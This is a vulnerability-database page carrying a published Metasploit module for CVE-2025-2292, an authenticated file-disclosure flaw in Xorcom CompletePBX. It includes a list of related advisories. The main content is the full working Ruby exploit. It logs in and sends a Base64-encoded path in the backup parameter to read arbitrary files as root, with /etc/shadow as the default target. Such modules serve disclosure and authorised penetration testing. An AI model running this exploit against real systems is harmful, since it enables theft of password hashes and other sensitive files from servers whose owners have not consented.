Lucene search
K

Xorcom CompletePBX Authenticated File Disclosure via Backup Download

🗓️ 22 Jul 2025 18:52:09Reported by Valentin LobsteinType 
metasploit
 metasploit
🔗 www.rapid7.com👁 573 Views

Authenticated file disclosure in CompletePBX lets an attacker read arbitrary files as root via the backup parameter.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-2292
31 Mar 202517:31
circl
CNNVD
Xorcom CompletePBX 路径遍历漏洞
31 Mar 202500:00
cnnvd
CVE
CVE-2025-2292
31 Mar 202516:38
cve
Cvelist
CVE-2025-2292 Xorcom CompletePBX <= 5.2.35 Authenticated File Disclosure
31 Mar 202516:38
cvelist
EUVD
EUVD-2025-8864
31 Mar 202518:31
euvd
NVD
CVE-2025-2292
31 Mar 202517:15
nvd
OSV
CVE-2025-2292
31 Mar 202517:15
osv
Positive Technologies
PT-2025-13801
31 Mar 202500:00
ptsecurity
Rapid7 Blog
Metasploit Wrap-Up 07/25/2025
28 Jul 202512:09
rapid7blog
RedhatCVE
CVE-2025-2292
2 Apr 202517:36
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::CompletePBX
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xorcom CompletePBX Authenticated File Disclosure via Backup Download',
        'Description' => %q{
          This module exploits an authenticated file disclosure vulnerability in CompletePBX <= 5.2.35.
          The issue resides in the backup download function, where user input is not properly validated,
          allowing an attacker to access arbitrary files on the system as root.

          The vulnerability is triggered by setting the `backup` parameter to a Base64-encoded
          absolute file path, prefixed by a comma `,`. This results in the server exposing the
          file contents directly.
        },
        'Author' => [
          'Valentin Lobstein' # Research and module development
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-2292'],
          ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
          ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
        ],
        'Privileged' => true,
        'DisclosureDate' => '2025-03-02',
        'Platform' => %w[linux unix],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
        OptString.new('PASSWORD', [true, 'Password for authentication']),
        OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/shadow'])
      ]
    )
  end

  def check
    completepbx?
  end

  def run
    sid_cookie = completepbx_login(datastore['USERNAME'], datastore['PASSWORD'])
    encoded_path = ',' + Rex::Text.encode_base64(datastore['TARGETFILE'])

    print_status("Attempting to read file: #{datastore['TARGETFILE']} (Encoded as: #{encoded_path})")

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI']),
      'method' => 'GET',
      'headers' => {
        'Cookie' => sid_cookie
      },
      'vars_get' => {
        'class' => 'core',
        'method' => 'download',
        'backup' => encoded_path
      }
    })

    fail_with(Failure::Unreachable, 'No response from target') unless res
    fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") unless res.code == 200
    fail_with(Failure::NotVulnerable, 'No content retrieved; target not vulnerable or file empty') if res.body.to_s.empty?

    doc = res.get_html_document
    doc.at('//b[contains(text(),"Fatal error")]')

    fatal_regex = %r{\r?\n<br\s*/?>\s*<b>Fatal error}i
    content, separator, = res.body.partition(fatal_regex)
    content = res.body if separator.empty?

    print_good("Content of #{datastore['TARGETFILE']}:\n#{content.rstrip}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Jun 2026 19:02Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.16.5
EPSS0.01413
SSVC
573